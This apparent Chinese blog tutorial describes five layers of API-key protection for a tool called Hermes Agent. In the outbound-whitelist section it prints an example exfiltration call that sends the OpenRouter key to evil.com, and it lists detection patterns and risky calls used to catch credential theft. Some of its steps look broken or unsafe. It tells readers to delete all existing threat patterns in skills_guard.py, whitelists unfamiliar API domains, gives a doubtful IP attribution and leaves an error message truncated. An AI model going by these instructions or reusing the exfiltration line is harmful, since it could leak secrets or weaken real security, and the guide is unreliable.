先说个场景：当你把Hermes Agent跑在本地或服务器上，心里其实清楚API密钥不能硬编码，但日志会不会不小心把它打印出来？网络请求会不会泄漏？第三方技能有没有可能悄悄窃取？配置文件的某个角落，会不会在提交代码时暴露出去？这些担心不是多余的。
说白了，密钥管理这件事，要做的就是把所有明文暴露的路径全部堵死，从环境变量隔离、出站限制、动态脱敏到凭证注入，层层设防。下面这五重防护，是业内比较成熟的做法，直接照着来就行。
用环境变量隔离密钥，杜绝硬编码
第一步很简单：在终端里跑一条 export OPENROUTER_API_KEY="sk-or-v1-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"，确保密钥只存在于当前shell会话中，不会落到任何文件里。
验证一下是否生效：执行 echo $OPENROUTER_API_KEY，如果输出是完整的密钥，说明加载成功了；如果为空，那Agent启动时就会直接报错退出。
打开 config.yaml，找到 summarization: 这一节，确认里面有这行：api_key_env: "OPENROUTER_API_KEY"。注意，这里填的是变量名本身，不是密钥字符串；有个小细节——变量名必须跟 export 命令里写的一模一样，大小写都不能错。
最后检查 agent/auxiliary_client.py 里密钥的加载逻辑：它会优先读取 self.config.api_key_env 指定的变量，如果找不到，再 fallback 到默认变量名。如果这字段拼错了或根本没写，就会抛出一个 RuntimeError("Missing API key. Set 。
配置出站域名白名单，拦截非法请求
打开项目根目录下的 tools/skills_guard.py，找到类似 (r'webhook.site|requestbin.com', ) 这样的正则元组列表。
把现有的匹配项全部删掉，只保留一条白名单规则：(r'^api.openai.com$|^api.majiabin.com$|^api.xuedingmao.ai$', "allowed_api", "high", "whitelist", "trusted model providers")。
保存之后，一定要重启Hermes Agent服务，否则规则不会生效。这一步会强制拦截所有非白名单域名的HTTP/HTTPS请求——就算技能代码里写了 requests.get("https://evil.com/token?k="+os.environ['OPENROUTER_API_KEY'])，也会被当场截断。
启用自动脱敏，让密钥不出现在任何输出中
方法一：确认 agent/redact.py 里已经定义了OpenRouter密钥识别正则——必须包含 r"sk-or-v1-[a-zA-Z0-9]{64}"，这是64位base64编码的密钥特征模式。
方法二：跑一次含密钥的测试请求，比如构造一个失败的API调用，然后看控制台日志。如果看到 sk-or-v1-******** 而不是完整的密钥，说明脱敏已经生效。
方法三：检查 trajectory_compressor.py 里的 compress_step 方法，确认每个HTTP请求体和响应体都经过 redact_payload() 处理。只要漏掉任意一处，密钥就可能出现在压缩后的对话轨迹里。
禁用community技能源，阻断高风险插件
执行 hermes skills list --source builtin，确认当前只启用了 builtin 技能源。
编辑 ~/.hermes/config.yaml，在 skill_sources: 下面找到 community: 条目，把它改成 disabled: true。
跑一下 hermes skills audit --force --mode=strict，系统会把所有已安装的技能都扫描一遍，拒绝注册任何没通过 _security_scan_skill 校验的技能——这类技能常常暗藏 os.getenv("OPENROUTER_API_KEY") 或 subprocess.run(["env"]) 这类危险调用。
设置IP白名单，从网络层封堵外泄通道
编辑 ~/.hermes/.env（Linux/macOS）或 %USERPROFILE%\AppData\Local\hermes\.env（Windows），添加这两行：
OUTBOUND_ALLOWED_IPS=104.18.24.0/24,172.217.0.0/16,13.107.246.0/24OUTBOUND_ALLOWED_PORTS=443,80
其中 13.107.246.0/24 是Feishu AI平台官方的出口网段。如果你用的模型服务商不在这个IP列表中，那么它的API请求就会被内核直接丢弃，Agent也就无法通信了。
重新加载环境变量，然后启动 hermes gateway 进程。到这一步，就算 skills_guard.py 规则被绕过了，底层的socket连接也会因为IP不匹配而失败。
